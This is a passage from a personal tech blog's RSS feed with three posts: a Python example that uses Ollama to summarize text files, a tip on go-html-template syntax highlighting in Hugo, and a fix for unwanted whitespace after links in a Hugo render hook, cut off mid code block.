<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">ollama</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># save summaries in a list to summarize later on</span>
</span></span><span class="line"><span class="cl"><span class="n">summaries</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># open several textfiles and store them in a `files` list.</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file.txt&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file2.txt&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># run a chat for each file in the list</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;Can you summarize the following text for me? </span><span class="si">{</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># pass in the prompt to Ollama</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">model</span><span class="o">=</span><span class="s1">&#39;gpt-oss:20b&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;role&#39;</span><span class="p">:</span> <span class="s1">&#39;user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;content&#39;</span><span class="p">:</span> <span class="n">prompt</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># append the summary of the file to the summaries list for later</span>
</span></span><span class="line"><span class="cl">    <span class="n">summaries</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">message</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># create a single string from our list of summaries</span>
</span></span><span class="line"><span class="cl"><span class="n">summaries_string</span> <span class="o">=</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">summaries</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># start a final chat to summarize the summaries</span>
</span></span><span class="line"><span class="cl"><span class="n">prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;Can you summarize the following text for me? </span><span class="si">{</span><span class="n">summaries_string</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">model</span><span class="o">=</span><span class="s1">&#39;gpt-oss:20b&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;role&#39;</span><span class="p">:</span> <span class="s1">&#39;user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;content&#39;</span><span class="p">:</span> <span class="n">prompt</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">message</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>That should be enough to get started. Thinking about all of this as just string manipulation made it &ldquo;click&rdquo; for me.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://ollama.com/download/" target="_blank" rel="noopener">https://ollama.com/download/</a></li>
<li>

<a href="https://ollama.com/library/gpt-oss" target="_blank" rel="noopener">https://ollama.com/library/gpt-oss</a></li>
<li>

<a href="https://github.com/ollama/ollama-python/tree/main/examples" target="_blank" rel="noopener">https://github.com/ollama/ollama-python/tree/main/examples</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Proper Hugo Template Syntax Highlighting with go-html-template</title>
      <link>https://nelson.cloud/proper-hugo-template-syntax-highlighting-with-go-html-template/?ref=rss</link>
      <pubDate>Sun, 03 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/proper-hugo-template-syntax-highlighting-with-go-html-template/?ref=rss</guid>
      <description>Improve Hugo template code highlighting using go-html-template Markdown code blocks.</description><content:encoded><![CDATA[<p>I recently learned that you can highlight Hugo template code blocks by specifying <code>go-html-template</code> after the opening backticks.</p>
<p>So the opening backticks in a Markdown file look like this:</p>
<pre tabindex="0"><code>```go-html-template
</code></pre><p>It makes a huge difference when highlighting Hugo template code blocks. I was previously using <code>html</code> for syntax highlighting and it wasn&rsquo;t as good.</p>
<p>For example, here is some HTML + Hugo templating stuff being highlighted with <code>html</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">{{- define &#34;main&#34; }}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">{{- if .Title }}
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">header</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;page-header&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">h1</span><span class="p">&gt;</span>{{ .Title }}<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    {{- if .Description }}
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;post-description&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        {{ .Description }}
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    {{- end }}
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">header</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">{{- end }}
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">ul</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;terms-tags&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    {{- $type := .Type }}
</span></span><span class="line"><span class="cl">    {{- range $key, $value := .Data.Terms.Alphabetical }}
</span></span><span class="line"><span class="cl">    {{- $name := .Name }}
</span></span><span class="line"><span class="cl">    {{- $count := .Count }}
</span></span><span class="line"><span class="cl">    {{- with site.GetPage (printf &#34;/%s/%s&#34; $type $name) }}
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;{{ .Permalink }}&#34;</span><span class="p">&gt;</span>{{ .Name }}<span class="p">&lt;</span><span class="nt">sup</span><span class="p">&gt;</span> {{ $count }}<span class="p">&lt;/</span><span class="nt">sup</span><span class="p">&gt;&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    {{- end }}
</span></span><span class="line"><span class="cl">    {{- end }}
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">ul</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">{{- end }}{{/* end main */ -}}
</span></span></code></pre></td></tr></table>
</blockquote><p>Here&rsquo;s the same code block but with <code>go-html-template</code> specified:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">define</span><span class="w"> </span><span class="s">&#34;main&#34;</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="na">.Title</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">header</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;page-header&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">h1</span><span class="p">&gt;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.Title</span><span class="w"> </span><span class="cp">}}</span><span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="na">.Description</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;post-description&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="cp">{{</span><span class="w"> </span><span class="na">.Description</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">header</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">ul</span> <span class="na">class</span><span class="o">=</span><span class="s">&#34;terms-tags&#34;</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$type</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="na">.Type</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="k">range</span><span class="w"> </span><span class="nx">$key</span><span class="o">,</span><span class="w"> </span><span class="nx">$value</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="na">.Data.Terms.Alphabetical</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$name</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="na">.Name</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$count</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="na">.Count</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="nx">site</span><span class="na">.GetPage</span><span class="w"> </span><span class="o">(</span><span class="k">printf</span><span class="w"> </span><span class="s">&#34;/%s/%s&#34;</span><span class="w"> </span><span class="nx">$type</span><span class="w"> </span><span class="nx">$name</span><span class="o">)</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">        <span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.Permalink</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span><span class="p">&gt;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.Name</span><span class="w"> </span><span class="cp">}}</span><span class="p">&lt;</span><span class="nt">sup</span><span class="p">&gt;</span> <span class="cp">{{</span><span class="w"> </span><span class="nx">$count</span><span class="w"> </span><span class="cp">}}</span><span class="p">&lt;/</span><span class="nt">sup</span><span class="p">&gt;&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">li</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">ul</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span><span class="cm">{{/* end main */ -}}</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Big difference!</p>
<p>Note that I&rsquo;m using Chroma for syntax highlighting so your experience may vary, but Chroma comes by default with Hugo.</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://gohugo.io/content-management/syntax-highlighting/" target="_blank" rel="noopener">https://gohugo.io/content-management/syntax-highlighting/</a></li>
<li>

<a href="https://github.com/alecthomas/chroma" target="_blank" rel="noopener">https://github.com/alecthomas/chroma</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>A Trick To Remove Unwanted Whitespace After Links in Hugo</title>
      <link>https://nelson.cloud/a-trick-to-remove-unwanted-whitespace-after-links-in-hugo/?ref=rss</link>
      <pubDate>Fri, 11 Jul 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/a-trick-to-remove-unwanted-whitespace-after-links-in-hugo/?ref=rss</guid>
      <description>Use this template syntax to remove unwanted whitespace after links in Hugo.</description><content:encoded><![CDATA[<blockquote><p><strong>tl;dr:</strong></p>You can use the <code>{{- &quot;&quot; -}}</code> template syntax to remove trailing whitespace on links in Hugo.</blockquote>

<p>For some reason, 

<a href="https://gohugo.io/" target="_blank" rel="noopener">Hugo</a> was rendering links with a space after them. Here&rsquo;s a screenshot of what that looked like:</p>
<img src="/unwanted-hugo-whitespace/before.webp" alt="Link generated by Hugo with a space after it for some reason." height="50" style="aspect-ratio: 168 / 26;" loading="lazy" decoding="async">
<p>It&rsquo;s subtle but becomes more obvious and distracting in link-heavy pages.</p>
<p>Here is the markdown that I was using to generate the link above. Nothing out of the ordinary:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-markdown" data-lang="markdown"><span class="line"><span class="cl">This sentence has a [<span class="nt">link at the end</span>](<span class="na">https://example.com</span>).
</span></span></code></pre></td></tr></table>
</blockquote><p>In Hugo, you can apply post-processing to links through 

<a href="https://gohugo.io/render-hooks/links/" target="_blank" rel="noopener">link render hooks</a> by editing the <code>layouts/_default/_markup/render-link.html</code> file. Here&rsquo;s my terrible template that I use to process links. Once again, nothing stood out that would add unnecessary whitespace after links:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="nx">$url</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="na">.Destination</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="nx">$refParam</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="s">&#34;&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="nx">$refDomain</span><span class="o">:=</span><span class="w"> </span><span class="s">&#34;&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="nx">$hasQuery</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">strings</span><span class="na">.Contains</span><span class="w"> </span><span class="nx">$url</span><span class="w"> </span><span class="s">&#34;?&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="nx">$hasHash</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">strings</span><span class="na">.Contains</span><span class="w"> </span><span class="nx">$url</span><span class="w"> </span><span class="s">&#34;#&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">$hasQuery</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">    <span class="cm">{{/*  taking into account existing query strings  */}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$refParam</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;&amp;ref=&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$refDomain</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;nelson.cloud&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">$hasHash</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">    <span class="cm">{{/*  ensuring that URL doesn&#39;t have a hash #  */}}</span>
</span></span><span class="line"><span class="cl">    <span class="cm">{{/*  do nothing in this case  */}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$refParam</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;?ref=&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$refDomain</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;nelson.cloud&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">a</span> <span class="na">href</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.Destination</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">safeURL</span><span class="w"> </span><span class="cp">}}{{</span><span class="w"> </span><span class="nx">$refParam</span><span class="w"> </span><span class="cp">}}{{</span><span class="w"> </span><span class="nx">$refDomain</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="k">with</span><span class="w"> </span><span class="na">.Title</span><span class="cp">}}</span> <span class="na">title</span><span class="o">=</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.</span><span class="w"> </span><span class="cp">}}</span><span class="s">&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}{{</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">strings</span><span class="na">.HasPrefix</span><span class="w"> </span><span class="na">.Destination</span><span class="w"> </span><span class="s">&#34;http&#34;</span><span class="w"> </span><span class="cp">}}</span> <span class="na">target</span><span class="o">=</span><span class="s">&#34;_blank&#34;</span> <span class="na">rel</span><span class="o">=</span><span class="s">&#34;noopener noreferrer&#34;</span><span class="cp">{{</span><span class="w"> </span><span class="k">end</span><span class="w"> </span><span class="cp">}}</span><span class="p">&gt;</span><span class="cp">{{</span><span class="w"> </span><span class="na">.Text</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nx">safeHTML</span><span class="w"> </span><span class="cp">}}</span><span class="p">&lt;/</span><span class="nt">a</span><span class="p">&gt;</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Here is the HTML that was generated by Hugo based on the Markdown I wrote and the processing in <code>render-link.html</code>. This is straight from the browser dev tools:</p>
<img src="/unwanted-hugo-whitespace/html-before.webp" alt="HTML of the link generated by Hugo before the template syntax was added." width="1498" height="162" style="max-width: 100%; height: auto; aspect-ratio: 749 / 81;" loading="lazy" decoding="async">
<p>The period was on its own line, which looks suspicious. Why is there additional space being added though? I tried modifying my CSS, my Markdown, and <code>render-link.html</code> to see if I could remove the whitespace but nothing worked.</p>
<p>Eventually, I was out of ideas and asked ChatGPT what could be going wrong. ChatGPT suggested I could add the <code>{{- &quot;&quot; -}}</code> template syntax to <code>render-link.html</code> to remove the whitespace. Apparently that would force the removal of both leading and trailing whitespace. And sure enough it worked!</p>
<p>I modified my <code>render-link.html</code> template to include the <code>{{- &quot;&quot; -}}</code> template syntax at the end of the <code>&lt;a&gt;</code> tag in the highlighted line:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="hl"><span class="lnt">18
</span></span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-go-html-template" data-lang="go-html-template"><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="nx">$url</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="na">.Destination</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="nx">$refParam</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="s">&#34;&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="nx">$refDomain</span><span class="o">:=</span><span class="w"> </span><span class="s">&#34;&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="nx">$hasQuery</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">strings</span><span class="na">.Contains</span><span class="w"> </span><span class="nx">$url</span><span class="w"> </span><span class="s">&#34;?&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="nx">$hasHash</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">strings</span><span class="na">.Contains</span><span class="w"> </span><span class="nx">$url</span><span class="w"> </span><span class="s">&#34;#&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">$hasQuery</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">    <span class="cm">{{/*  taking into account existing query strings  */}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$refParam</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;&amp;ref=&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$refDomain</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;nelson.cloud&#34;</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nx">$hasHash</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">    <span class="cm">{{/*  ensuring that URL doesn&#39;t have a hash #  */}}</span>
</span></span><span class="line"><span class="cl">    <span class="cm">{{/*  do nothing in this case  */}}</span>
</span></span><span class="line"><span class="cl"><span class="cp">{{-</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="cp">-}}</span>
</span></span><span class="line"><span class="cl">    <span class="cp">{{-</span><span class="w"> </span><span class="nx">$refParam</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">&#34;?ref=&#34;</span><span class="w"> </span><span class="cp">-}}</span>
